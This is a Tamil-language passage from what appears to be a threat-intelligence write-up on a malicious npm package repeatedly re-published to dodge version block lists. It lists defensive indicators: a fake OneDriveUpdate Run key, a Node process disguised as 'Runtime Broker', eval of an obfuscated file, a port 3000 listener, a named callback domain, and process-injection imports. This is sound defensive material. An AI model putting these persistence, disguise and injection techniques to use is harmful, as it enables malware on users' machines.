எழுபது பதிப்புகளுக்கு இடையிலான இந்த தொடர் மாற்றமே கவனத்தில் கொள்ள வேண்டிய ஒரு போக்காகும். ஒரு தொகுப்பை சில நாட்களில் பலமுறை மீண்டும் வெளியிடுவது, ஏற்கனவே நீக்கப்பட்ட பதிப்பு எண்களுக்குக் கீழே புதிய பதிப்பு எண்களைச் சேர்ப்பது உட்பட, நீக்கங்களுக்கு இடையில் ரெஜிஸ்ட்ரியில் அதன் ஒரு நேரடி நகலை வைத்திருப்பதோடு, பதிப்பு-சார்ந்த தடுப்புப் பட்டியல்களையும் செயலிழக்கச் செய்கிறது. sensivity@2.5.61-க்கான ஒரு தடுப்புப் பட்டியல் பதிவு, அடுத்த நாள் மீண்டும் வெளியிடப்பட்ட sensivity@2.5.3-க்கு எதிராக எந்த விளைவையும் ஏற்படுத்துவதில்லை.
பிரதிவாதிகள் பின்வருவனவற்றின் மீது நடவடிக்கை எடுக்கலாம்:
- registry-proxy மற்றும் CI அனுமதிப்பட்டியல்களில் தொகுப்புப் பெயர் உணர்திறனை முற்றிலுமாகத் தடுக்கவும். தனிப்பட்ட பதிப்புகளை நிலைநிறுத்துவது, மறுவெளியீட்டு கால இடைவெளிக்குப் பின் தங்கிவிடும்; பெயரே நீடித்த நிலைத்தன்மைக்கான குறிகாட்டியாகும்.
- ஒவ்வொரு பயனருக்கான பாதையில் உள்ள ஒரு .vbs கோப்பின் மீது wscript.exe-ஐ இயக்கும் தரவைக் கொண்ட OneDriveUpdate என்ற பெயரில் உள்ள ஒரு Run மதிப்பைத் தேடுங்கள். உண்மையான OneDrive அப்டேட்டர் இந்த வழியில் பதிவு செய்யப்படவில்லை.
- 'Runtime Broker' என்ற process.title-ஐக் கொண்ட ஒரு Node.js செயல்முறை குறித்த எச்சரிக்கை. உண்மையான புரோக்கர் RuntimeBroker.exe ஆகும், அது ஒரு Node ரன்டைம் அல்ல.
- தொகுக்கப்பட்ட .node துணை நிரலையும், அதனுடன் இணைந்த .obf.js கோப்பின் eval(fs.readFileSync(…)) செயல்பாட்டையும் கொண்டிருக்கும் தொகுப்புகளின் npm நிறுவல் நேரப் பதிவிறக்கங்களைக் கொடியிடுங்கள். தெளிவற்ற நேட்டிவ் பைனரி கோப்பு, தெளிவற்ற உரைச் சுமைக்கு அருகில் ஏற்றப்படுவதுதான், எந்தவொரு சரம் IOC-யையும் சாராமல், இங்குள்ள கட்டமைப்பு ரீதியான அறிகுறியாகும்.
- நிர்வகிக்கப்படும் விண்டோஸ் எண்ட்பாயிண்ட்களில், எதிர்பாராத நோட் செயல்முறையால் போர்ட் 3000-இல் உருவாக்கப்படும் எந்தவொரு உள்ளூர் லிசனரையும் சந்தேகத்திற்குரியதாகக் கருதுங்கள்.
- டெவலப்பர் அல்லது இறுதிப் பயனர் ஹோஸ்ட்களிலிருந்து izopi.com-க்கு வரும் வெளிச்செல்லும் கோரிக்கைகளைத் தடுக்கவும் அல்லது எச்சரிக்கவும்; இதுவே இந்தத் தொகுப்பின் ஒரே வெளிப்புற முனையம் ஆகும், இது தெளிவற்ற சேவையகத்திலிருந்து /check.php என்ற முகவரியில் அணுகப்படுகிறது.
- எந்தவொரு தொகுக்கப்பட்ட .node துணை நிரலையும் நம்புவதற்கு முன், அதன் இறக்குமதி அட்டவணையைச் சரிபார்க்கவும். OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread ஆகியவற்றின் இணைப்பு, அந்தத் தொகுப்பு என்ன செய்வதாகக் கூறினாலும், அது ஒரு தொலைநிலைச் செயல்முறை ஊடுருவலாகும்; இங்கே அது ஒரு Direct3D மேலடுக்கு மற்றும் aimbot/ESP/triggerbot சரங்களுக்கு அருகில் அமைந்துள்ளது.
நிலையான பகுப்பாய்வுகளுக்கு pipelineமேலும், பதிப்பு மாற்றங்களின் போதும் இந்த உறுதிப்பாட்டு வடிவம் நீடித்து நிலைக்கிறது: ஒரு பிணையம் சாராத நிறுவல் சுயவிவரம், அறியப்பட்ட ஒரு கணினிச் செயல்முறைப் பெயருக்குச் செயல்முறைத் தலைப்பை ஒதுக்குதல், பவர்ஷெல் வழியாக ஒரு இயக்க விசை எழுதுதல், மற்றும் வட்டில் இருந்து படிக்கப்பட்ட ஒரு கோப்பின் மதிப்பீடு ஆகியவை இதில் அடங்கும். இவற்றில் எதுவும், அடுத்த மறுவெளியீட்டில் மாற்றிவிடக்கூடிய ஒரு டொமைன், ஐபி முகவரி அல்லது பதிப்பு எண்ணைச் சார்ந்திருக்கவில்லை.
குறிப்புகள்
[npm: உணர்திறன்] – இங்கு விவாதிக்கப்பட்ட தொகுப்புப் பதிப்பு வரிசைக்கான பதிவகப் பக்கம்; நீக்கப்படலாம்.
